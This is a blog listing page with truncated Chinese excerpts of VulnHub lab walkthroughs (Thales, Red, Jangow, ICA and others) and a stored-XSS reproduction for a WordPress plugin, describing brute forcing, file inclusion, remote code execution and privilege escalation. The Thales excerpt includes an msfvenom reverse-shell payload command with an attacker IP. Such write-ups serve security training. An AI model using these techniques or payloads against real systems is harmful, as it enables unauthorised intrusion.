VulnHub Dripping Blues：1
2026-06-09 609 字 3 分钟

VulnHub Dripping Blues：1

Dripping Blues：1项目地址：https://download.vulnhub.com/drippingblues/drippingblues.ova 是一个打包好的镜像文件 注意：导入 ovf 时一定要选择我已移动，否则没网 使用无影扫描出开放服务及系统版本 文件包含drip访问 80 端口首页没东西，扫描出 robots.txt 文件 这里提示 SSH 连接密码，但试过了没用 匿名访问 FTP 服务有一个压缩文件，爆破出密码是 072528035 解压之后获得 respectmydrip.txt 文件和 secret.zip 文件 respectmydrip.txt 文
VulnHub Corrosion：2
2026-06-09 521 字 3 分钟

VulnHub Corrosion：2

Corrosion：2博客地址：https://medium.com/@ozkirdenizenes/vulnhub-corrosion-2-walkthrough-c3e2f6057574 项目地址：https://download.vulnhub.com/digitalworld/ELECTRICAL.7z（占用太大懒得下） 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 敏感信息泄露backup.zip访问 8080 端口是 Tomcat 扫描目录发现 /backup.zip 解压需要密码 提取出哈希值
VulnHub digitalworld.local：electrical
2026-06-09 1.5k 字 9 分钟

VulnHub digitalworld.local：electrical

digitalworld.local：electrical博客地址：https://novasky.medium.com/digitalworld-local-development-walkthrough-vulnhub-story-of-obscurity-oscp-practice-5f52486f581b 项目地址：https://download.vulnhub.com/digitalworld/ELECTRICAL.7z（占用太大懒得下） 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 12345678910
VulnHub ICA：1
2026-06-08 240 字 1 分钟

VulnHub ICA：1

ICA：1项目地址：https://download.vulnhub.com/ica/ica1.zip 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 敏感信息泄露qdPM 9.2 - Password Exposure访问网页，运行的是 qdPM 9.2 找到一个密码泄露的 NDay 查看文件内容是让我们访问一个路径 访问过去拿到数据库账号密码 弱口令MySQL远程连接数据库 SSH在数据库中翻出用户名密码 最终确认这组用户名密码可以登录 SSH 提权SUID 提权找到一个 SUID 文件 直接运行好
VulnHub Thales：1
2026-06-08 210 字 1 分钟

VulnHub Thales：1

Thales: 1项目地址：https://download.vulnhub.com/thales/Thales.zip 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 弱口令Tomcat可以看到 8080 开放了 Tomcat，使用 MSF 爆破 成功爆破出密码 1tomcat:role1 RCEWAR 包部署登录进去后可以上传 WAR 包 MSF 生成一个 1msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.4 LPORT=8888 -f wa
VulnHub Napping：1.0.1
2026-06-08 408 字 2 分钟

VulnHub Napping：1.0.1

Napping：1.0.1博客原地址：https://readysetexploit.gitlab.io/home/vulnhub/napping/（靶机没部署好） 项目地址：https://download.vulnhub.com/napping/napping-1.0.1.ova 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 重定向漏洞Blog Link访问网页要求登录 接下来，我们创建一个账户，用户名和密码随意 登录后，我们会看到一个免费的博客推广网站 看起来我们可以提交链接，提交后，链接就会显示在网站上供
VulnHub Red：1
2026-06-08 912 字 4 分钟

VulnHub Red：1

Red：1项目地址：https://download.vulnhub.com/red/Red.ova 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 文件包含NetworkFileManagerPHP发现 /wp-admin/ 目录，打开首页没啥东西 查看源代码，我们发现主机名为 redrocks.win 所以让我们将其添加到 hosts 文件中 嘲讽我们，暗示我们的网站被黑了，他甚至提到网站里有某种后门 点进这篇博客 查看源代码找到注释 AI 梭哈一下，提示扫描后台 发现一个 NetworkFileMa
VulnHub Jangow：1.0.1
2026-06-08 274 字 2 分钟

VulnHub Jangow：1.0.1

Jangow: 1.0.1项目地址：https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 RCEbuscar扫描出 /site 目录，访问过去 点击右上角的 Buscar 会跳转到一个空白页面 并且也会多一个参数，但是值是空的 输入 id 竟然会执行，存在 RCE 漏洞 但是无论换成哪种 Shell 都弹不回来，查看当前目录所有文件发现 Wordpress 在其目录下有一个 config.php 文件，查看
VulnHub Matrix-Breakout：2 Morpheus
2026-06-08 1.1k 字 6 分钟

VulnHub Matrix-Breakout：2 Morpheus

Matrix-Breakout：2 Morpheus博客原地址：https://www.cnblogs.com/hirak0/articles/18105800（靶机没部署起来） 项目地址：https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova 是一个打包好的镜像文件 注意：导入 ova 时一定要选择我已移动，否则没网 使用 Nmap 扫描出开放服务及操作系统版本 12345678910111213141516171819202122232425262728293031323334353637383
Draft List plugin for WordPress（CVE-2026-9104）
2026-05-26 1.4k 字 7 分钟

Draft List plugin for WordPress（CVE-2026-9104）

Draft List plugin for WordPress（CVE-2026-9104）前言参考披露的报告复现 漏洞类型: 存储型跨站脚本 (Stored XSS) 影响组件: WordPress 的 Draft List 插件 影响版本: 所有 2.6.3 及更早的版本 所需权限: 需要具备作者 (Author) 或更高权限的账户才能利用 漏洞描述: 攻击者在草稿标题中注入的属性逃逸脚本，当被没有编辑权限的用户（如普通访客或订阅者）查看时，就会在其浏览器中执行 漏洞复现环境搭建旧版本下载地址：https://github.com/dartiss/draft-list/rel